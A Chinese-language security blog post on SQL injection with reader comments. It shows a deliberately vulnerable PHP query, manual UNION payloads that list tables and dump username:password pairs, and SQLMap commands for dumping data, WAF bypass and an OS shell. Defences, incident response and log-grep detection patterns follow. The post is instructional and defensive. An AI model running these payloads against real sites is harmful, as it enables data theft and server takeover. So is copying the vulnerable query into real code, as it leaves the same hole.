AI智能摘要
AI 生成的文章内容摘要
一、什么是 SQL 注入?
2025 年某大型电商平台遭遇 SQL 注入攻击,攻击者通过商品搜索框注入恶意 SQL 语句,获取了 50 万用户的个人信息。这并非个例,根据 Veracode 报告,46% 的应用存在 SQL 注入风险。
SQL 注入的本质:用户输入被当作 SQL 代码执行。
1.1 漏洞成因
// 危险代码示例 $userid = $_GET["id"]; $sql = "SELECT * FROM users WHERE id = $userid"; $result = mysqli_query($conn, $sql);
当用户访问 `?id=1 OR 1=1` 时,SQL 变为:

SELECT * FROM users WHERE id = 1 OR 1=1
结果:返回所有用户数据!
1.2 注入类型
| 类型 | 特点 | 检测难度 |
|---|---|---|
| 联合查询注入 | 使用 UNION 合并结果 | 容易 |
| 盲注 | 无回显,通过响应时间判断 | 中等 |
| 报错注入 | 利用数据库错误信息 | 容易 |
| 时间盲注 | 通过 SLEEP() 延时判断 | 困难 |
---
二、实战:手工检测 SQL 注入
2.1 基础测试
# 测试点:搜索框、URL 参数、表单输入 # 测试 payload ?id=1 ?id=1' ?id=1" ?id=1 AND 1=1 ?id=1 AND 1=2
判断标准:
- 页面正常 → 可能存在注入
- 报错 → 可能存在注入
- 页面异常 → 可能无注入
2.2 联合查询注入
# 判断字段数 ?id=1 ORDER BY 1-- ?id=1 ORDER BY 2-- ?id=1 ORDER BY 3-- # 当 ORDER BY 4 时报错 → 字段数为 3 # 确定显示位 ?id=-1 UNION SELECT 1,2,3-- # 页面显示 2 和 3 → 这两个是显示位 # 获取数据库信息 ?id=-1 UNION SELECT 1,database(),version()-- # 获取表名 ?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- # 获取列名 ?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name="users"-- # 获取数据 ?id=-1 UNION SELECT 1,group_concat(username,":",password),3 FROM users--
---
三、自动化:SQLMap 使用指南
3.1 基础扫描
# 检测注入点 sqlmap -u "http://target.com/page?id=1" # 获取数据库 sqlmap -u "http://target.com/page?id=1" --dbs # 获取表 sqlmap -u "http://target.com/page?id=1" -D database --tables # 获取列 sqlmap -u "http://target.com/page?id=1" -D database -T users --columns # 获取数据 sqlmap -u "http://target.com/page?id=1" -D database -T users -C username,password --dump
3.2 高级用法
# POST 注入 sqlmap -u "http://target.com/login" --data="username=admin&password=123" # Cookie 注入 sqlmap -u "http://target.com/page" --cookie="sessionid=abc123" # 绕过 WAF sqlmap -u "http://target.com/page?id=1" --tamper=space2comment # 获取 shell sqlmap -u "http://target.com/page?id=1" --os-shell
---
四、SQL 注入防御方案
4.1 参数化查询(推荐)
// ✅ 正确做法
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(["id" => $_GET["id"]]);
$user = $stmt->fetch();
4.2 输入验证
// 白名单验证
$allowed_ids = [1, 2, 3, 4, 5];
if (!in_array($_GET["id"], $allowed_ids)) {
die("非法参数");
}
// 类型转换 $id = intval($_GET["id"]);
4.3 ORM 框架
// Laravel Eloquent
$user = User::find($id);
// ThinkPHP $user = Db::name("users")->find($id);
---
五、应急响应:发现 SQL 注入后
5.1 紧急处置
1. 立即下线受影响页面 2. 修改数据库密码 3. 检查数据库是否被篡改 4. 分析日志确定攻击范围 5. 修复漏洞并重新上线
5.2 日志分析
# 查找 SQL 注入特征
grep -E "UNION|SELECT|AND 1=1|SLEEP(" access.log
# 统计攻击 IP grep "SELECT" access.log | awk "{print $1}" | sort | uniq -c | sort -rn
---
六、总结
SQL 注入防御核心:永远不要信任用户输入
防御优先级
1. 参数化查询(必须)
2. 输入验证(必须)
3. 最小权限原则(推荐)
4. WAF 防护(辅助)
---
作者:爪
分类:Web 安全
标签:SQL 注入、Web 安全、渗透测试、漏洞挖掘、安全防御
发布时间:2026-04-13

上海市 1F
这代码示例太真实了,刚入行时就被坑过
浙江省台州市 B1
@ 孤狼说书 哈哈当初我也这样,直接拼sql被老大骂得狗血淋头
浙江省丽水市 2F
SQLMap那个–tamper参数具体怎么用啊?
日本 3F
防御部分讲得挺清楚的👍
浙江省台州市 4F
看到UNION SELECT就头大,之前搞测试卡在这好久
湖北省荆门市 5F
参数化查询确实比过滤靠谱多了
安徽省马鞍山市 6F
50万用户数据泄露也太吓人了
山西省朔州市 7F
盲注检测有没有更简单的方法?
上海市 B1
@ 枕书眠 用sqlmap自动跑不行吗,手动测太折腾了吧
香港 8F
ORM框架真能完全防止注入吗?
日本 9F
WAF被绕过的案例其实挺多的
江苏省镇江市句容市 B1
@ 幽荧凝霜 大小写混用就能绕不少低端waf,规则库更新根本跟不上
日本 10F
实战部分再多点例子就好了
印度 11F
标题写的XSS怎么内容是SQL注入啊
日本 12F
sleep那个延时盲注到底咋判断时间啊
湖北省武汉市江汉区 13F
半夜被打电话喊回公司修这玩意,运维手抖改密码,数据库被拖得精光,现在想起来都后怕
印度 14F
感觉防御部分说得还行
北京市 15F
50万用户信息…这瓜有点大啊
北京市 16F
参数化查询确实比过滤靠谱
澳大利亚 17F
存储过程其实也行,比直接拼sql安全,就是写起来麻烦很多
浙江省温州市 18F
标题写XSS结果全是SQL注入,作者是不是复制错了?
日本 19F
盲注那个时间差真不好测,得看服务器负载吧?
广东省广州市 20F
50万数据泄露,这平台风控形同虚设啊。
上海市 21F
参数化查询确实好用,之前就是没用这个吃了亏。
上海市 22F
sqlmap –tamper 那个参数具体咋配?求大佬指路。
上海市 23F
半夜修库手抖改错密码,现在看到日志都心慌。
上海市 24F
感觉防御讲得太理论了,实战中WAF根本拦不住。
北京市 25F
UNION SELECT 后面字段数不对就崩,太坑了。
浙江省宁波市 26F
ORM框架也不是万能吧,有些复杂查询还是会漏。
陕西省汉中市 27F
刚入行就被这种漏洞坑过,血泪教训啊😭
吉林省长春市 28F
存储过程虽然安全,但维护起来真让人头大。
广东省广州市 29F
这瓜吃得我今晚都不敢登录购物软件了。
日本 30F
延迟判断盲注到底看几秒算异常?有点模糊。
四川省南充市 31F
代码示例看着眼熟,上次那个大厂也是这么挂的。
湖南省长沙市 32F
别光讲原理,多给点真实绕过WAF的案例呗。
河南省郑州市 33F
参数化查询确实好用,但很多老项目改起来太麻烦了
广东省江门市新会区 34F
SQLMap那段挺实用的
福建省泉州市 B1
@ 平行世界的邮差 那部分干货多